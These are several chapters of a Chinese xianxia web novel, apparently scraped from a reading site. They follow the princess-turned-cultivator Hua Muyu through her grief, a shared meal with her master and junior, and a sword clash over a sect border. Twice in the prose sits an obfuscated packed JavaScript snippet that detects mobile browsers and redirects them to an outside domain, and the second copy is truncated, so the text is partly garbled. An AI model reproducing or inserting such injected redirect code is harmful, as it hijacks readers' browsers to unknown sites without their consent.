她的手是冰凉的,手臂上热胀的伤口还传来剧痛。她的脸是滚烫的,口中控制不住地无声咒骂着自己。鼻腔中全是铁腥的味道,叫她一阵阵泛起恶心。她艰难地喘了两口气,终于在无人知晓的黑暗里流下了一天前的泪。 你就是个废物,什么事都做不好。 花沐雨绝望地想着。 你杀了那么多人,那么多人的生命和期待把你堆到了这个位置,可你什么都没做到。母亲在冷宫受苦,妹妹被迫嫁给自己没见过的人,师父传给她的剑法学不好,师弟那么敬仰她,可他根本不知道自己敬仰的人原来是这样的一个徒有其表的废物。 母亲无声无息地死了,妹妹杀了父皇,谢氏族人的血淌满整个无极殿前的广场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294823|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她没杀禁军,但是禁军杀了小南国的弟子。她想救有灵,但有灵最后还是消散在日月顶的大雪中。而那场大雪,又冻死了多少对老夫妇! 天命如此,人间要覆灭了,可她能做什么?她被命运裹挟着、做了那么多错事,却成为了北境的武英公主。可她这个武英公主,不过是一个只敢躲在幽暗处自己痛哭的废物而已。 她又回想起她在娘亲身边度过的短短几年,那连记忆都模糊的短短几年,娘在月下哄她睡觉时哼的歌,她和娘捡回别人不要的花,小小的桌子,一觉睡醒不知今夕何夕的、温暖的夕阳,简单的饭。 她也想谢艳朱,想不如把自己的天赋全部交给妹妹,这样她就不会是一个不受重视的皇女,不会远嫁鹄部,不会像如今一样痛苦地怨恨着所有人。以艳朱的心性,一定能比自己做得好上千百倍。 她同样憎恨。憎恨自己的软弱,憎恨自己的不争气,憎恨为什么偏偏是她走到今天的地步,憎恨自己深恩负尽,只敢这样无能地苟活。 我想不出来办法。我没有任何办法。 她哭泣着向虚空求助,一切都要走向灭亡,她不知道怎么才能救下谢艳朱,不知道怎么才能救下雪国,不知道怎么才能救下所有死去的人。 她清楚地知道自己得不到回答。 人间有什么好拯救的? 她不知道人间有什么好拯救的,但是雪国在人间。 谢艳朱宁可死了都不会想你救她的。 但她不能不救她。 她强撑着振作起来,咽下哽咽,用掌根压下所有的眼泪。她呼出一口气,扶着柜子站起来,将衣服洗干净晾好,又接雨水洗了把脸,让自己精神些。 坐回桌前,她展开一页空白的纸,提笔写道: 上策阻断人间覆灭 中策想办法把雪国迁到凌虚界 下策将艳朱等几个人接到凛岳 她盯着纸面看了一会儿,在后面继续写道:需告知艳朱。人间何时覆灭?如何覆灭?如何取信于艳朱?如何将人接到凛岳? 没有人接引,凡人进不来凌虚界,她当初上凛岳,也是靠大师兄带她跨过界门的。但是按凌虚界的规矩,有尘缘的凡人不得进入凌虚界,这也是为什么丹砂可以被小南国收留,而她要改名换姓,平常也不敢以真面目示人。 若真要带几个人来凛岳,少不得要解决这些麻烦。 之后她目光上移,看到了“把雪国迁到凌虚界”和“阻断人间覆灭”的选项。 凌虚界依据灵脉,划分出七十九大门派,格局已定,千年未改。雪国幅员辽阔,如何牵引至凌虚界?不是所有人都能修炼的,不能修炼的雪国子民怎么办? 至于“阻断人间覆灭”……花沐雨在纸上勾画。 这个选项,前辈先贤已经尝试过一次,然而成果寥寥,结局惨淡。先不说天命不可违,若真要忤逆天命,她需要更进一步地了解当年的内情。先辈们都做过哪些考量,做过什么样的尝试,避开了哪些错误的道路,又留下了什么样的经验。 花沐雨垂下眼帘。 她羞于承认自己也有好胜心、也有求生欲。如若不然,武英殿中人才济济,何以是她活到最后。 保住几个人或者保住几万个人都不是上上之选,求上得中,她是庸碌废物,但有一丝可能,总要试试吧。 44. 不肯对新刃 清晨山间起了雾。 风带着凉意,带着潮气,刮过一夜未眠干涩的眼睛。 师兄死了,燃灯十天有九天在闭关,师姐时不时出门,曾卧雪常常一个人守着这些山。他养活了师姐从人间带回来的花,又在山阳开了片不大的菜地,收成送给飞禽走兽一些,自己吃掉一些。 巡过山,曾卧雪顺路来到菜园,避开被鸟啄伤的菜果,捡了些成熟的,到灶房准备早饭。 薄薄的面皮透出肚儿里的翠绿,煮过馄饨而略带乳色的面汤和这些圆滚滚的馄饨一起落到碗里。一碗二十二个,均分三碗,曾卧雪端两碗,花沐雨端一碗——燃灯不用自己端,他早前来拿了小菜和勺子筷子,在门生堂摆好桌子等着他们。 走进堂内,花沐雨端的那一碗给燃灯,曾卧雪分一碗给花沐雨,师徒三人坐下吃饭。 “你之前的剑折了吧?”燃灯吃得唏哩呼噜,挑了一筷子咸菜丝扔进嘴里,还不忘提醒花沐雨,“待会儿你再去我那儿挑把剑。” “我可以化出剑来,不用再取新的剑了。”花沐雨道。 “都是我自己打的剑,又不是剑冢里的东西,随便用,不值钱。”燃灯吸了吸鼻子,“你那门功法不是要用兵器化生吗。之前的给你化生用了,可不得再备一把。” “用不上。”花沐雨说道。 “虽说用不上,但也得以防万一。”曾卧雪加入进来,跟着燃灯一起劝花沐雨。 “对啊。”燃灯和曾卧雪一唱一和,三言两语就替花沐雨把事情决定了下来,“老三,一会儿你跟着她去,盯着她把剑拿了。” 曾卧雪应是,花沐雨暗自叹气。 “你没看她在扈陵那样,整个人瘦得快成骷髅干了。”燃灯喝完汤,拿着筷子捡碗底的碎馄饨皮儿吃,“这回回来,可得好好补补……咱中午吃啥啊?” 曾卧雪有些不快,他在长阳遇见花沐雨时,花沐雨已经是憔悴了不少,听师父这么说,难道还有更糟的时候? 他一直记着和花沐雨在长阳雪夜灯下吃的那一碗馄饨,本来想一直吃的,闻言改变了主意。 曾卧雪认真考虑着菜单,又问燃灯:“师父,你那儿药材还有吗?” “有倒是有。”燃灯一琢磨,“就是放得时间有点久了,还是上次决明给我的呢。你要用什么?” 决明,小南国现在的掌门人。 曾卧雪回忆了一下:“黄芪、党参、当归……”他一连报了十来种药材,又说,“缺几味也可。小南国的药,时间久点也没关系。” “大差不差的,你自己去库里拿吧。”燃灯说着,又扒拉了一颗馄饨,“咱整点羊肉吃吃呗。” “羊肉得去齐云派买了,你想吃吗?”曾卧雪问。 燃灯一扯脖子:“这天气凉飕飕的,吃点羊肉不正好吗。” 于是曾卧雪掌心朝上,把手伸到了燃灯面前。 “这么个大小伙子,连买点羊肉的钱都没有?”燃灯骂骂咧咧地,从兜里抓出几粒萤石来,“我也就这点儿了,能够就够,不够拉倒,不吃了。” “够了。”曾卧雪将萤石收回怀里,“那午饭就得晚点了,和晚饭并一顿吧?” “行。但是羊肉我要吃味儿够的,而且量得够。”燃灯给了钱,理直气壮,“再打壶酒来,咱爷儿仨痛痛快快喝一杯!” 曾卧雪嗯了一声:“看到时候钱够不够吧。”把燃灯气了个仰倒。 “买东西之前先跟你姐去把剑选了。”燃灯记挂着正事,又叮嘱道,“你去齐云,可别被那帮玩意儿给熊咯。” 曾卧雪不以为意:“没事,他们欺负不了我。” 一般凛岳入门弟子都要去剑冢选一把自己的剑,可是燃灯是个半吊子掌门,剑冢随着三百年前辟界之战封闭,燃灯至今打不开,只能不知从哪里学来了铸剑的本事,林栉风的剑、花沐雨的剑、曾卧雪的剑,都是他自己一锤一锤打出来的。 “师父没本事。这里面的剑随便拿,用坏了就扔,等明儿个师父有能耐了,开剑冢,再让你去选个好的。”类似的话,燃灯和三个徒弟都说过。 曾卧雪打开炼器室的门,炼剑的炉子冷却多年。尘封数载,乍见天日的满屋宝剑被激出清越寒芒。 分明都是很好的剑。 “好久没到这里来了。”曾卧雪收起钥匙,把锁挂在门上,“你看中哪个?” 花沐雨并不进屋,只站在门外把屋里看过一遍。 “要是都不合意,我再给你铸一把。”曾卧雪道。 其实他有点想让师姐用自己铸的剑。一个人守着山,漫长的空白时日里,他杂七杂八学了很多东西。初学铸剑的时候,他就在构思给师姐铸一把剑,这个想法由来已久,要用什么材料、剑长什么样子,他早在心中想了千百遍。 此时心里话脱口而出,他一思索,又有些后悔:“还是算了,我铸的剑不一定有师父的好,又需要些时日,你还是在这里挑一把吧。” 可以先拿这里的,有机会再用自己的也行。 曾卧雪想着,之后有时间,不妨把剑先铸出来,也好先看看成色。若师姐要用,随时都有。 “能帮我把那边那把拿过来吗?”花沐雨请求道。 “哪个?”曾卧雪问。 “最里面那个,放在匣子里的。”花沐雨道。 曾卧雪也不疑她为什么不自己拿,闻言进去,捧着沉甸甸的匣子出来。 “这把好像不太适合你。”他拉开盖子看了一眼,有些不满意,“你确定要这把吗?隔着盒子也看不出来合不合适。” 这剑约三指宽,很沉,身上坑坑洼洼,没开刃,像根棍子。没装剑首,没有剑鞘,剑柄和护手歪歪扭扭,只有个大致的形状。通体黑漆漆的,斑驳不均,简直像煅烧完没清的黑灰。这怎么看,都像是个没做完的半成品。 花沐雨往匣子里略瞟了一眼:“就这把吧。” 曾卧雪狐疑:“你不试一试合不合手吗?” “不了。”花沐雨垂眸道。 曾卧雪觉得奇怪,想不通这把剑有什么好的。但既然师姐看好,他就没多问,用随身的帕子把盒上的灰尘擦拭干净,道:“剑上什么都没有,你要现在配上吗,还是送回房间去?” “送回房间去吧。”花沐雨淡淡的。 曾卧雪颔首,也没想她为什么不自己拿,连盒一起帮她把新挑的剑送回了房间。 “剑放到哪里?”曾卧雪问。 “放到柜子上吧。”花沐雨道。 曾卧雪依言把盒子放上去,随口嘀咕了一句:“放这么高。” 花沐雨失笑,不远不近地站着,道:“走吧,得去齐云派买东西了,师父还等着呢。” “好,这就走。”曾卧雪道。 二人离开,路过门生堂。坐在堂里的燃灯看见他们,喊道:“选好剑了?” “选好了!”曾卧雪代替花沐雨答道。 “拿的哪把啊?”燃灯问。 “最里面的那一把!”曾卧雪道。 燃灯回忆了一下,里面挂的应该是一把剪叶秋水剑,暗怪花沐雨难道生死一遭转了性子,竟选了这么一把婉柔的兵器。不过倒也无妨,她喜欢什么就用什么,燃灯不干涉这个,她选了兵器就行。 “行,快去吧。”燃灯朝他们挥手,又念叨了一遍,“多买点,别不够吃哈!” 这时他又忘了自己才给了曾卧雪几个钱了。 他们门派着实特殊了点,占着巍峨山势,却只剩下三个人。实际上,凌虚界正常的门派都不下千人,弟子长老杂役外门不一而足,兼有种植菜蔬果树、豢养家禽牲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“哎呦,姑奶奶!”那人心道不好,痛心疾首地叫道。 他话刚出口,花沐雨手里已幻化出一柄长剑,反手一带,阵光便被切开了一道口子。 于是那人再也阻拦不及,只能听着山门边鼓声大作,是他们护山大阵收到攻击时发出的警告。 这道伤算不得严重,护山大阵可以自行修复。剑气顺着阵光蔓延,和阵法自愈的光点角力。花沐雨并未较真,故而剑气略显颓势。 花沐雨从曾卧雪口袋里摸出燃灯给的萤石,顺着自己切出的口子扔进山门里,对那边目瞪口呆的几人道:“你们这阵,薄得跟你们自己的嘴皮子似的。劳驾,一只全羊,十斤好酒,我就在这儿等着,看谁敢怠慢我师弟。” 话说完,阵光上的伤口也慢慢愈合了。 曾卧雪在她身旁抿嘴一笑,小声提醒:“再要两只乳鸽。” “再要两只乳鸽。”花沐雨听见了,扬声朝里面吩咐。 里面的齐云派师兄一拍大腿,认命地捡起来地上的萤石,嘴上哎呦哎呦地叫苦不迭:“姐姐,我的好姐姐,这都是误会啊!你们自己家人什么样你不知道吗,谁敢怠慢你这好师弟啊。” 花沐雨瞥了一眼曾卧雪,曾卧雪很镇定的样子。 门内,齐云派的师兄听着渐渐止住的鼓声,叨咕了一句:“这一下子,又得骂我半天。”说完,转头又对听到鼓声出来的其他山门弟子道,“没事儿,散了吧。咱姐来买菜,一只全羊,十斤好酒,给咱姐收拾得干净点儿哈!” “还有两只乳鸽。”曾卧雪淡淡地提醒道。 “还有两只乳鸽!”他扯着脖子补了一句。 “要准备多久?”花沐雨问。 “快,快,马上就送到,他们御剑飞着去呢。”齐云派师兄摆着手说。 花沐雨一笑:“兄弟高姓大名?” 齐云派的师兄苦哈哈一拱手:“在下高茂名。” 45. 炊烟解暖千山碧 高茂名说得果真不假,他们要的东西很快送到。 整羊料理得干净,两个酒坛子封着红封,用麻绳捆成一个。鸽子多送了两只,还额外带了两个口袋,送菜的弟子说是新下的瓜果菜蔬,他们师父请燃灯祖师尝尝新鲜。 曾卧雪心情颇好的样子,骄矜开口:“多谢费心。”腰间木雕的小人一转,变作一个身材魁梧的随从,沉默地把东西往胸前一拿,也不知如何,那好几大包的东西就被收进了木褐色的衣服里,从外面丁点儿看不出来身上装了这么多东西。 齐云派这边的弟子见怪不怪,好声好气地送走他俩便罢了,二人自行返回师门不提。 天烛峰上的灶房里,各式调料炊具一应俱全。 东西买回来后,曾卧雪先去燃灯的炼丹房里捡了药材,将汤炖上,而后才开始着手处理羊肉。 花沐雨被安排在一旁坐着看火。但那火曾卧雪都架好了,也没什么可盯着的,她就撑着下巴看曾卧雪解羊。 灶坑中的火把人的后背烤得发烫,曾卧雪拆解羊肉的动作不紧不慢,每一刀都落在合适的位置。一整只羊在他的刀下被慢慢分成不同的部位,整整齐齐摆在案头,顶头不见碎肉,露在外面的骨头上,连软骨都没有擦碎。 “师父要吃味道重的。”花沐雨说。 曾卧雪道:“给他做个黄焖羊肉,再烤个羊排。”一边说着,手下动作不停,又问花沐雨,“他们这羊肉质不错。你要不要吃手抓?清炖的那种,只放一点调味。” “好呀。”花沐雨又问,“黄焖怎么做?” 曾卧雪指一指带一点筋的部位:“用这块儿,放点土豆粉,先炒后炖。” 花沐雨了然:“我切点姜吧?” “也行。”曾卧雪道,“葱姜蒜都要,切大块一点。” 花沐雨依言过去找葱姜。这些都是曾卧雪自己种的,表皮带着泥土,卖相参差不齐,但味道很浓郁。 曾卧雪想了想,又问花沐雨:“感觉没什么青菜。你要不要吃青菜,我们再烫点青菜吧?” “好啊。”花沐雨找了把小刀给姜刮皮,“我们会不会吃不完?” 曾卧雪道:“份量不大,中午晚上一顿吃了。” 此时厨房里已经弥漫起鸽子汤的香味,燃灯闻着味儿过来,背着手看曾卧雪拆出来的羊肉,撇着嘴点点头:“挺好。确实有点天赋哈,骨头肌肉怎么长的都知道,我也没教过你啊。” “拆肉吗?这特别简单。”曾卧雪不以为意,自然地把最后一块儿肉分好,“你们没做过,实际一上手就会了。” 燃灯不置可否,往花沐雨那边去了:“我帮你剥蒜?羊肉咋做啊?” “卧雪说做三种吃法,一个黄焖,一个烤,一个手抓。”回答着,花沐雨把一瓢带皮的紫皮蒜头递过来,燃灯拿着开始剥。 曾卧雪过来:“先给我点料,我把要烤的羊排腌上。” 花沐雨便先去给他切了足够的小料,曾卧雪拿着装葱姜蒜的碗又去捡香料。花沐雨继续处理剩下的姜葱,心里有惦记,和旁边的燃灯聊起了正事:“我们什么时候去七十九门会?” “再有十来天就得走了。”燃灯一边剥蒜一边说,又问,“蒜要多少?” “剥三头就够。”曾卧雪在那边应道。他已经开始处理每种做法要用的肉了。 “这次七十九门会,就是说四方阵的事?”花沐雨问。 燃灯嗯了一声:“四方阵,四个界柱,一个阵眼,立阵的时候用五行灵物建起来的,这么多年过去,当初用的五行灵物灵气快要耗尽。一旦五行灵物灵气耗尽,四方阵就不复存在,现在的界门也会关闭。” 这话之前燃灯讲过一次,花沐雨还有印象:“我们是要说怎么延续四方阵吗?” “有人想要延续四方阵,有人不想,没个统一的。”燃灯道。 谁想谁不想,花沐雨一听,有了些猜测,问:“谁想要延续四方阵?” “小南国那帮人嘛。”燃灯头也没抬,把剥好的蒜丢进小碗里,“哎呀,心肠好得很。” 这个答案不出花沐雨所料。“谁不想?”花沐雨又问。 “江流派那帮人嘛。”燃灯道。 同样不出花沐雨所料。 小南国和江流派代表立场的两头,他们各自有些亲疏的门派,花沐雨大致想过一遍,谁支持谁反对,心里也就有个数了。 只不过……花沐雨想到扈陵的事,心里打了个问号。 经过这样的事,小南国还会立场坚定地保护人间吗?他们门派内部肯定会有不满吧?花沐雨心中沉思,忽然明白了薛心摆弄人间事的又一个用意。 而且,江流派为什么又会派曲照下界,到北境去帮助艳朱登上皇位呢?花沐雨心中想着,想不出缘由来。 曲照可不是什么无足轻重的边缘人物,他师承江流派掌门,若说他是自行下界,花沐雨是不信的。如果江流派不管人间的死活,又何苦参与人间的党争,而且还是参与素来供奉凛岳的、北境的党争? “师父你呢?”花沐雨问,“你想让界门继续存在吗?” “咱不管那事儿。”燃灯扔了一把蒜到小碗里,“他们爱怎么争怎么争吧,咱们置身事外,两面都不得罪就完了。咱一共就剩仨人,拿啥跟人折腾啊。” 明白了师父的态度,想到北境,花沐雨在心中叹了口气。 燃灯搓掉粘在手指头上的蒜皮,颠了颠碗里白净的蒜粒,回身问曾卧雪:“这些够了不?” 曾卧雪抽空看了一眼:“够了。七成切粒,三成切碎。” “你让你师姐给你切吧,我回屋去了。”燃灯把小碗交给花沐雨,又在厨房里转了两圈,看到了他们买的酒。 “这酒多少斤?”燃灯问。 “十斤。”花沐雨说完,又强调了一句,“可不是给你一顿喝完的。” 燃灯揭开红封闻了闻:“酒不错。”闻完绑好封布,直起腰来,“还有多久开饭?” “大概一两个时辰吧。”曾卧雪答道。 “我先回屋睡一会儿,困了。”燃灯道。 “去吧。”花沐雨道,“做好了叫你。” 燃灯晃晃悠悠地出去,曾卧雪问花沐雨:“你不想让界门关闭?” 花沐雨一愣:“你为什么觉得我不想?” “北境都在人间,你不可能看着北境的 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曾卧雪将她切好的蒜拿过去:“我先炖你的手抓,炖久点好吃,一会儿和汤一起煨着。” 说句话的工夫,花沐雨也已经把最后一点蒜末切好了。 切完蒜,手上黏着,花沐雨去洗了个手,问曾卧雪:“羊排怎么烤?” “羊排还在腌,一会儿我烤吧。”曾卧雪往另一个锅里加清水,把之前泡过一会儿的羊肉下进去。 天烛峰上的厨房一共两大一小三个灶眼,一个灶上炖着汤,一个准备拿来做手抓,剩下的一会儿炒做黄焖羊肉。 花沐雨四下看了看:“那我做什么呢?” “过来看火。”曾卧雪说。 火依旧没什么可看的,花沐雨在小板凳上坐下,曾卧雪就在旁边紧贴着她下其他配料。 “你真不要掺和这些事。”过了会儿,花沐雨又突兀地重复了一遍。 “火大点。”曾卧雪拿着勺子站在锅边。 花沐雨依言添了些细小的木柴,用一边的蒲扇扇着风——这蒲扇她看着也眼生,不知道又是曾卧雪什么时候做的。 火一下子旺起来,肉汤里渐渐涌起浮沫。曾卧雪拿着勺子打过几回,又砸了两遍汤,汤里终于干净了。他盖回锅盖,对花沐雨道:“转小火吧。” 花沐雨看了看灶膛里烧得正旺的木柴:“那我不加柴了。还得等一会儿。” 曾卧雪擦擦手,蹲下来,把燃烧着的木柴取出,转移到炉子那边,灶底下的火一下子就小了。 原来还可以这样。花沐雨恍然大悟。 曾卧雪摆弄着炉子:“那边的汤和手抓都小火炖着就好了。” 花沐雨嗯了一声:“我看着呢。” 曾卧雪又沉默了一会儿,说:“你不让我参与,我就不参与了。” 这回倒轮到花沐雨哑然了:“别我说什么就是什么……”停了停,她尽量用不会让曾卧雪产生误解的方式补充道,“没有让你参与这些事的意思。你听劝,不参与是好的。只是,不能我说什么就是什么,你得有自己的想法、自己的判断。” 46. 试起长剑定此心 上到种菜做饭、下到机关炼器,曾卧雪属实是样样拿得出手。 黄焖羊肉、烤羊排、手抓羊肉、党参乳鸽汤、烫青菜,师徒三人都喝了点酒,坐在门生堂祖宗牌位下望着不同的方向,也不说话,各自发起了饭晕。 半晌,燃灯嘴里咬着牙签,慢吞吞地顺手归拢起筷子和骨碟。他一动,曾卧雪和花沐雨也跟着动起来,一起收拾桌上。 “一会儿不没别的事么?”燃灯有些困倦地问,“没什么事我睡一觉。” “没什么事,休息吧。”花沐雨道,“晚点要我叫你吗?” “不用。”燃灯道。 正说着话,曾卧雪腰间忽然传来一阵铃响。花沐雨和曾卧雪一起低头去看,就见曾卧雪腰间的木偶发着微微红光,正在不住震动。 “我在外围布置的机关被触动了,有人越界。”曾卧雪道。 燃灯摆摆手:“你们去看看怎么回事,桌子我收拾吧。” 花沐雨和曾卧雪领命前去。 触发机关的位置在凛岳群山最外围,花沐雨和曾卧雪御剑赶往。 “你把木偶改了?”路上,花沐雨问。 曾卧雪道:“核心都没动,挂了些外围的小机关警告,方便我知道。” 花沐雨笑道:“这还是当年我刚上凛岳,大师兄怕师父不靠谱,做来带我玩的呢。”她语气中带着怀念,“后来你上山,我怕我照顾不到,就传给你了。” 说到这儿,她玩笑地瞅着木偶唤道:“大师兄!” 大师兄木偶上的灵光转过一轮,发出林栉风的声音:“诶。” “你知道我是谁吗?”花沐雨问。 大师兄木偶道:“我记得你的声音,你是师妹花沐雨。” 花沐雨于是便笑,笑着笑着,神色淡下去:“那你知道有灵吗?” 大师兄木偶上的灵光翕动,过了会儿,道:“我还不认识这个人,如果需要记录她的话,可以介绍给我认识。” 这木偶是林栉风下山前做的,那时候他还不认识有灵。 “好的。”花沐雨轻声应下,转而对曾卧雪道,“是哪里的机关被触发了?” “西北角。”曾卧雪道。 便如此前所说,燃灯是个半吊子掌门。全因凛岳从上到下死得只剩他一个,他才继承了凛岳掌门的位置。若是正经即位,需要得到掌门令的承认。燃灯至今未能得到承认。也是因为这个,无论是后山剑冢还是护山大阵,燃灯都没资格开启。 剑冢不开,燃灯自己学了铸剑;作为护山大阵的替代,燃灯几个徒弟日常的任务就包含了巡山。 后来这个任务从花沐雨传到曾卧雪,曾卧雪就在外围各处布置了机关,多少减轻了一些负担。 说话间二人便到机关触发处,尚未到地方,便见十来个身着齐云派弟子服的人在量地。 二人卸剑落地,曾卧雪扬声问道:“凛岳地界,你们在做什么?” 活计被打断,齐云派弟子纷纷抬起头来。其中一个打量着曾卧雪,又看看花沐雨,对曾卧雪道:“什么凛岳地界,哪儿写着凛岳地界了?” 曾卧雪道:“以野蜂谷为界,往西是齐云山,往东是凛岳。这里已是野蜂谷东侧,是凛岳的地界了。” “不是,哪儿写着呢?”说话的那个齐云派弟子直起腰来,皱着眉,“你谁啊?我们这儿干得好好的,你带着个女人冒出来,你知道我们是谁吗。” “自凌虚界开辟以来,你我两派一直是这个规矩。”曾卧雪道,“我是凛岳弟子曾卧雪,这是我师姐。” “什么玩意儿……”那齐云派弟子不悦,“无凭无据的,过来说的什么。还自凌虚界开辟以来,我还说自凌虚界开辟以来这一片都是我的呢,你有什么证据啊?” 曾卧雪正要再说,花沐雨走上前来:“敢问兄台高姓大名?” 那个齐云派弟子目光往下看看,又落在她被帽纱遮住的脸上:“问这个干什么?” 花沐雨一笑,周身剑气一震,猝不及防,齐云派几个人如同被磨盘迎面拍上,瞬间倒飞出去。 灵气化作的长剑出现在花沐雨手中,还不等他们几个落地,花沐雨便紧随着跃起,长剑扫过,用的是《寒山剑法》中的招式“低头礼云”。 这一招是用剑者俯首扫击敌方下盘,有些类似行礼的姿势,故称“低头礼云”。而今花沐雨飞在高处,便如睥睨一般,将这一群人再次横扫,直直飞落野蜂谷去。 接连二次遭受重击,齐云派几个弟子扑通倒地,轻的捂着胸口、呼吸都不敢用力,重的喘了两声,咳出的已有血丝。 花沐雨缓缓飞到,停在凛岳这一端:“这就是野蜂谷,你们身后,是齐云派,再往前一步,就是凛岳。告诉你,我叫花沐雨。我不管你是谁,又是受了谁的指使,不许越界一步,明白吗?” 曾卧雪跟着御剑来到,落一步,停在花沐雨身后。 “哪儿写的是你的地方!”地上的齐云派弟子叫嚷道,“自古门派边界以护山大阵为准,你们阵在哪里?你升起阵来,我们包管不越雷池半步!” “不知道我们的阵在哪儿,还不知道你们的阵在哪儿吗?”花沐雨沉声一怒,齐云派的护山大阵感受到充满敌意的剑气,即刻显出轮廓,登时发出示警的鼓声。 灵纹最边缘正在那几个齐云派弟子身下亮起,花沐雨问:“这回知道了吗?” “无主的地方,你这泼妇非要说是你们的东西。”齐云派的弟子骂道,“凌虚界从来没有说不许门派扩张的道理,我们门派人多,要往外扩怎么了?” “这不是无主的地方,这就是凛岳的地界。”曾卧雪在花沐雨身后道,“你们扩张地盘我们管不着,我们的地方,你们不许进犯一寸。” 花沐雨冷冷看着他们:“若敢再来,打死不论,滚。” 地上的几个神色中不服不忿,但都咬着牙,没说出一个字。此时,齐云派门内收到信号,也有人赶来了。 “不过是为招待贵客,门内住宿不便,想要另择无主之地营建行宫,怎么就惹得师姐和师弟震怒了?”一道声音远远传来。 听得这个声音,地上几个齐云派弟子飞快爬起来。花沐雨抬眼一看,便见齐云派内为首两个人,带着一众弟子正朝这边飞来。 花沐雨手指一动,灵气再次为她编织出一把灵剑。大师兄木偶脱离曾卧雪遥测,在空中一转,化作头戴斗笠手持重剑的高大傀儡。曾卧雪反手,苍锒一声宝剑出鞘。 这片刻那群人也到了,为首的齐云派弟子花沐雨不认识,看面相是个中年人,估计是个什么管事,揣着手,见先前的弟子捂着胸口,立刻心疼道:“哎呀,怎么打成这样了?” 他的话花沐雨理都不理,她与曾卧雪的目光都落在这齐云派管事身侧的另一人身上。 “曲照。”花沐雨一笑,“好久不见,身体可还无恙?” 站在齐云派管事身旁的正式江流派的曲照。他刚在长阳被曾卧雪杀过一次,这时面色看起来还有些苍白,看着花沐雨的眼神更加阴狠了。 “好久不见。”曲照假笑开口。 “你就是齐云派的贵客?”花沐雨道,“怎么,江流派和长河门掰手腕不过瘾,要来我们东边找不痛快了?” “哪里。”曲照不咸不淡,“不过是与齐云弟子交流修行、增进了解罢了。他们招待我,新修行宫,你们便来喊打喊杀。怎么,凛岳上下曲曲三个人,也要给江流派下马威吗?” 说罢,他往后扫了一眼:“噢,不是三个人,还有个傀儡。怎么,弟弟妹妹不入流,大师兄死了也要被拉出来充门面是吗?” 曾卧雪沉下脸,被曲照的话激怒了。 “为您一个,就要新修行宫,还真是隆重招待。”花沐雨面色如常,扫了齐云派的管事一眼,“我好像忘了,齐云派学的是剑道吧,江流派……”她一顿,话对齐云派的人说,眼睛却看着曲照,“能跟你们交流什么?” “想偷师?”曲照斜着眼睛,“左右你们杂七杂八的东西学了不少,凛岳满门死在辟界之战里,如今老弱病残的,知道你们可怜,我也有心指教一二。只是可惜,这是我们江流派与齐云派之间的事,你们师徒三个,怕是挤不进来啊。” “可怜的另有其人。”花沐雨道,“给人当过狗,再想上桌吃饭可就难了。” 齐云派管事脸上的笑容消失不见。 “不说这个了。”花沐雨话锋一转,对曲照道,“怎么说,打还是不打?等着回去吃饭呢。” 曲照脸色一冷,刹那间,曲照、花沐雨、曾卧雪三个人同时动了。 几十朵术法的金花在空中炸开,嗡嗡与齐云派护山大阵的示警一起响彻。 齐云派的管事暗道不好,水平到底差着一层,不待反应,便跟底下的弟子一起被 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作为出招人,若是进攻,便叫雨打灯灭,剑势如集雨,落在人身上快且密;若是防守,便是“雨打灯不灭”,同样是密集的以攻为守,就如在雨中以剑护住一点灯如豆。 花沐雨此时使的便是进攻的打法,一时剑鸣叮当,清脆如雨打芭蕉,转瞬间便与曲照对了不下数十招。 曾卧雪飘然落下,与傀儡站在一起。 花沐雨的剑太快了,他插不进手,便知师姐是想自己来。 曲照咬牙应对,额角转瞬便见了汗,花沐雨却是越打越畅快,一拧身,退开一射之地,再次扑袭而来。 若说此前是雨打芭蕉,此时横亘在曲照面前的便是飞流直下三千尺的瀑布。花沐雨挥剑连斩,铮铮之声极重且闷。 曾卧雪在一旁抱剑观摩,心中叹服——抽刀断水,大开大合,自己确实比之不过。 这里又要提到《寒山剑法》中的另一类剑招。 山为剑脊,凌虚界中使用兵器者,以剑为主流,但绝不是只有用剑的修士,只是剑为百兵之君,天长日久,大家渐渐用此将使用兵器对阵的修士笼统概括。《寒山剑法》中,同样有许多融合了其他兵器特点,或者以其他兵器为灵感而产生的剑招,抽刀断水便是如此。 抽刀断水对金光阵法,眨眼又是百来招。 曲照打得心头火起,挥手掷出雷符:“雷电招来!” 咔嚓一声晴天霹雳,花沐雨嗤笑,也不见她如何出手,只听空中接连不断地叮叮五声,寒光连闪,如分割空间的钢丝,又如星子闪烁。 飒沓流星,带着势不可挡之势一闪而至,快逾雷电。曲照招来的雷电道道辟落,也只能慢花沐雨一瞬,枉然地叫曲照自顾不暇。 “花!沐!雨!”曲照头发乱了,咬牙断喝。 花沐雨手腕一转,飒沓流星收招,转而便是反手漫天清辉。她手中的剑一瞬间变作成千上万把,直将周边染上银色。 在这铺天盖地的银色中,一切雷霆收声,曲照急退至剑光之外,呼吸微微有些急促,可见消耗不小。 在月出天山里,曲照的招式施展不出来了。 花沐雨收剑,弓步摆出一个起手式:“再来。” 曲照咬牙,正欲结印,忽听又是轰隆一声,连大地都连连震颤。 什么东西? 在场三人齐齐皱眉,花沐雨正要开口,便有一道急令自天边射来。 曲照挥袖收了急令,面色不虞。 花沐雨气劲一泄,长剑挽了个收手势,问:“怎么了?” 曲照没说话,曾卧雪抱着胳膊走到花沐雨身边道:“看来是师门急召。” 曲照看他们一眼,冷哼一声:“七十九门会见!” 花沐雨看着曲照急匆匆离去的背影,又斜眼看向狼狈的齐云派众人。 “你们呢?”花沐雨问,“行宫还修吗?” 齐云派众人无言,气冲冲地掉头走了。 晚上,得知此事的燃灯笑呵呵的,一边擦牌位一边凑到花沐雨跟前:“怎么样,姑娘,打痛快了?” 花沐雨失笑,放下手里的抹布,无奈道:“师父……” 燃灯含笑,温和地看着她:“我就说了,一直想没有用,只有行动才能让你找到方向。” 